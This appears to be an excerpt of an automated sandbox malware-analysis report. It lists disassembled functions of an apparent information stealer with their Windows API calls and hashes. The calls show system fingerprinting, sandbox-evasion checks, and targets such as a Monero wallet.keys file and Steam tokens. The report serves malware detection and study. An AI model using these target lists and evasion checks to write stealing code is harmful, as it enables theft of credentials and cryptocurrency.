Instruction Fuzzy Hash: 190162B1904204EBC710CF99DD45FAAFBB8F748B21F100629F505A3680D7745904C7A1

Function 6CAF3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CAF3095

Part of subcall function 6CAF35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CB7F688,00001000), ref: 6CAF35D5
Part of subcall function 6CAF35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CAF35E0
Part of subcall function 6CAF35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CAF35FD
Part of subcall function 6CAF35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CAF363F
Part of subcall function 6CAF35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CAF369F
Part of subcall function 6CAF35A0: __aulldiv.LIBCMT ref: 6CAF36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAF309F

Part of subcall function 6CB15B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CB156EE,?,00000001), ref: 6CB15B85
Part of subcall function 6CB15B50: EnterCriticalSection.KERNEL32(6CB7F688,?,?,?,6CB156EE,?,00000001), ref: 6CB15B90
Part of subcall function 6CB15B50: LeaveCriticalSection.KERNEL32(6CB7F688,?,?,?,6CB156EE,?,00000001), ref: 6CB15BD8
Part of subcall function 6CB15B50: GetTickCount64.KERNEL32 ref: 6CB15BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CAF30BE

Part of subcall function 6CAF30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CAF3127
Part of subcall function 6CAF30F0: __aulldiv.LIBCMT ref: 6CAF3140

Part of subcall function 6CB2AB2A: __onexit.LIBCMT ref: 6CB2AB30

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 96623543d2bfb961490a1cd075f09858254df69efc805e8ca0dd8d5ab2e3f603
Instruction ID: f909fb45e9c307e890b45d9f6a159d7fd8d26fe81e6ed49ea028b981b7723e6d
Opcode Fuzzy Hash: 96623543d2bfb961490a1cd075f09858254df69efc805e8ca0dd8d5ab2e3f603
Instruction Fuzzy Hash: EDF0F912E2079496CB11EF7488411FA7374AF6B114F505319EC9963511FB30A2DCC3AA

Function 009B8F10 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 009B8F24
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 009B8F45
CloseHandle.KERNEL32(00000000), ref: 009B8F4F

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 271c751b3148cac757b46eff21e57d1eee84bbb8c8290cde1ad52ed829796dcd
Instruction ID: d0606bd7a48d9c04c73a86356cbddd83a940e26cebf488388567d3de22104eec
Opcode Fuzzy Hash: 271c751b3148cac757b46eff21e57d1eee84bbb8c8290cde1ad52ed829796dcd
Instruction Fuzzy Hash: 7FF0DA75A0420CBBDB14DFA4DD5AFEE7778AB0C701F104598BB1997290DAB0AA85CB90

Function 009A1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 009A112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 009A1132
ExitProcess.KERNEL32 ref: 009A1143

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 3683d7e269b52c0e252c6c22a6fee26425c62a0c3b7d12d46b92efcccbd9959f
Instruction ID: a71b43375892fdcdd32ef19c726e0051211c99d8ba4cfc86e0a0992972e280f9
Opcode Fuzzy Hash: 3683d7e269b52c0e252c6c22a6fee26425c62a0c3b7d12d46b92efcccbd9959f
Instruction Fuzzy Hash: 30E08674D45308FBE7105BA09C1AF087A6C9B09B01F104055F70CB71C0CAB425008698

Function 009B1520 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

Part of subcall function 009BA380: lstrlen.KERNEL32(?,01489170,?,\Monero\wallet.keys,009C0DFF), ref: 009BA395
Part of subcall function 009BA380: lstrcpy.KERNEL32(00000000), ref: 009BA3D4
Part of subcall function 009BA380: lstrcat.KERNEL32(00000000,00000000), ref: 009BA3E2

Part of subcall function 009BA270: lstrcpy.KERNEL32(?,009C0DFF), ref: 009BA2D5

Part of subcall function 009B6FA0: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 009B6FE2
Part of subcall function 009B6FA0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 009B701F
Part of subcall function 009B6FA0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 009B70A3
Part of subcall function 009B6FA0: RtlAllocateHeap.NTDLL(00000000), ref: 009B70AA

Part of subcall function 009BA2F0: lstrcpy.KERNEL32(00000000,?), ref: 009BA342
Part of subcall function 009BA2F0: lstrcat.KERNEL32(00000000), ref: 009BA352

Part of subcall function 009B7130: GetProcessHeap.KERNEL32(00000000,00000104), ref: 009B7144
Part of subcall function 009B7130: RtlAllocateHeap.NTDLL(00000000), ref: 009B714B

Part of subcall function 009B7260: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,009BD5B0,000000FF,?,009B17A9,00000000,?,0148E150,00000000,?), ref: 009B7292
Part of subcall function 009B7260: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,009BD5B0,000000FF,?,009B17A9,00000000,?,0148E150,00000000,?), ref: 009B7299

Part of subcall function 009B72F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,009A11B7), ref: 009B7320
Part of subcall function 009B72F0: RtlAllocateHeap.NTDLL(00000000), ref: 009B7327
Part of subcall function 009B72F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 009B733F

Part of subcall function 009B7380: GetProcessHeap.KERNEL32(00000000,00000104), ref: 009B73B0
Part of subcall function 009B7380: RtlAllocateHeap.NTDLL(00000000), ref: 009B73B7
Part of subcall function 009B7380: GetComputerNameA.KERNEL32(?,00000104), ref: 009B73CF

Part of subcall function 009B7420: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,009C0DD0,00000000,?), ref: 009B7450
Part of subcall function 009B7420: RtlAllocateHeap.NTDLL(00000000), ref: 009B7457
Part of subcall function 009B7420: GetLocalTime.KERNEL32(?,?,?,?,?,009C0DD0,00000000,?), ref: 009B7464
Part of subcall function 009B7420: wsprintfA.USER32 ref: 009B7493

Part of subcall function 009B74D0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0148F130,00000000,?,009C0DE0,00000000,?,00000000,00000000), ref: 009B7503
Part of subcall function 009B74D0: RtlAllocateHeap.NTDLL(00000000), ref: 009B750A
Part of subcall function 009B74D0: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0148F130,00000000,?,009C0DE0,00000000,?,00000000,00000000,?), ref: 009B751D

Part of subcall function 009B75A0: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,0148F130,00000000,?,009C0DE0,00000000,?,00000000,00000000), ref: 009B75D5

Part of subcall function 009B7630: GetKeyboardLayoutList.USER32(00000000,00000000,009C059F), ref: 009B7681
Part of subcall function 009B7630: LocalAlloc.KERNEL32(00000040,?), ref: 009B7699
Part of subcall function 009B7630: GetKeyboardLayoutList.USER32(?,00000000), ref: 009B76AD
Part of subcall function 009B7630: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 009B7702
Part of subcall function 009B7630: LocalFree.KERNEL32(00000000), ref: 009B77C2

Part of subcall function 009B7820: GetSystemPowerStatus.KERNEL32(?), ref: 009B784D

GetCurrentProcessId.KERNEL32(00000000,?,0148E290,00000000,?,009C0DF4,00000000,?,00000000,00000000,?,0148F0D0,00000000,?,009C0DF0,00000000), ref: 009B1B8E

Part of subcall function 009B8F10: OpenProcess.KERNEL32(00000410,00000000,?), ref: 009B8F24
Part of subcall function 009B8F10: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 009B8F45
Part of subcall function 009B8F10: CloseHandle.KERNEL32(00000000), ref: 009B8F4F

Part of subcall function 009B78A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 009B78D7
Part of subcall function 009B78A0: RtlAllocateHeap.NTDLL(00000000), ref: 009B78DE
Part of subcall function 009B78A0: RegOpenKeyExA.KERNEL32(80000002,0147BCD0,00000000,00020119,?), ref: 009B78FE
Part of subcall function 009B78A0: RegQueryValueExA.KERNEL32(?,0148E070,00000000,00000000,000000FF,000000FF), ref: 009B791F
Part of subcall function 009B78A0: RegCloseKey.ADVAPI32(?), ref: 009B7932

Part of subcall function 009B7A00: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 009B7A69
Part of subcall function 009B7A00: GetLastError.KERNEL32 ref: 009B7A78

Part of subcall function 009B7970: GetSystemInfo.KERNEL32(009C0DFC), ref: 009B79A0
Part of subcall function 009B7970: wsprintfA.USER32 ref: 009B79B6

Part of subcall function 009B7BA0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0148F040,00000000,?,009C0DFC,00000000,?,00000000), ref: 009B7BD0
Part of subcall function 009B7BA0: RtlAllocateHeap.NTDLL(00000000), ref: 009B7BD7
Part of subcall function 009B7BA0: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 009B7BF8
Part of subcall function 009B7BA0: __aulldiv.LIBCMT ref: 009B7C12
Part of subcall function 009B7BA0: __aulldiv.LIBCMT ref: 009B7C20
Part of subcall function 009B7BA0: wsprintfA.USER32 ref: 009B7C4C

Part of subcall function 009B8260: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,009C0DF8,00000000,?), ref: 009B82CF
Part of subcall function 009B8260: RtlAllocateHeap.NTDLL(00000000), ref: 009B82D6
Part of subcall function 009B8260: wsprintfA.USER32 ref: 009B82F0

Part of subcall function 009B7DC0: RegOpenKeyExA.KERNEL32(00000000,01488960,00000000,00020019,00000000,009C05A6), ref: 009B7E44

Part of subcall function 009B7DC0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 009B7EC6
Part of subcall function 009B7DC0: wsprintfA.USER32 ref: 009B7EF9
Part of subcall function 009B7DC0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 009B7F1B
Part of subcall function 009B7DC0: RegCloseKey.ADVAPI32(00000000), ref: 009B7F2C
Part of subcall function 009B7DC0: RegCloseKey.ADVAPI32(00000000), ref: 009B7F39

Part of subcall function 009B8120: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 009B816A
Part of subcall function 009B8120: Process32First.KERNEL32(?,00000128), ref: 009B817E
Part of subcall function 009B8120: Process32Next.KERNEL32(?,00000128), ref: 009B8193
Part of subcall function 009B8120: FindCloseChangeNotification.KERNEL32(?), ref: 009B8201

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 009B216B

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocChangeComputerCreateDefaultDirectoryEnumErrorFileFindFirstFreeGlobalHandleLastLogicalMemoryModuleNextNotificationPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 1011861169-0
Opcode ID: 6c8cbc9cfec1786361e519846c5dc8084e5b3f2a1c4a1234b672cfe5df41eb05
Instruction ID: c9bfcf4604a85d6f9caf54f36a8d6b948c17a7ab8ef42148c1d2f8ea416506c7
Opcode Fuzzy Hash: 6c8cbc9cfec1786361e519846c5dc8084e5b3f2a1c4a1234b672cfe5df41eb05
Instruction Fuzzy Hash: 36727C71814118BACB59EB94DD92FEEB37CAFA4320F504299F15762091EF702F48CB66

Function 009A6D90 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4658aa6cb4699fe6819fd0bdf0e7f5c24230a5a0307636a9bc307327f8d6083a
Instruction ID: 58e8b9b40bac45ecc1f0c3b1523c00436b33879a951aa605a45a1d4da7854777
Opcode Fuzzy Hash: 4658aa6cb4699fe6819fd0bdf0e7f5c24230a5a0307636a9bc307327f8d6083a
Instruction Fuzzy Hash: 836116B5D00208EFCF14DF94E988BEEB7B4BB49304F288598E415A7280D775AE94DF91

Function 009B4BE0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

Part of subcall function 009BA1F0: lstrlen.KERNEL32(009A4F55,?,?,009A4F55,009C0DC6), ref: 009BA1FB
Part of subcall function 009BA1F0: lstrcpy.KERNEL32(009C0DC6,00000000), ref: 009BA255

lstrlen.KERNEL32(00000000,00000000,009C0AB3), ref: 009B4C0A

Strings

steam_tokens.txt, xrefs: 009B4C1F

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 9beccf0bcea7c4ca93d55e3316cea6c124ef131e43a3c5665df932307383fc3e
Instruction ID: bd4985dbaf621f6b059ff58c21db2be3abae3d83de5764048cfc061a1d04dca3
Opcode Fuzzy Hash: 9beccf0bcea7c4ca93d55e3316cea6c124ef131e43a3c5665df932307383fc3e
Instruction Fuzzy Hash: 7DF06931D0010876CB44FBF4EE97FED773CAAD5320F804228F81662092EF24660886A7

Function 009A1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 009A116A
ExitProcess.KERNEL32 ref: 009A117E

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
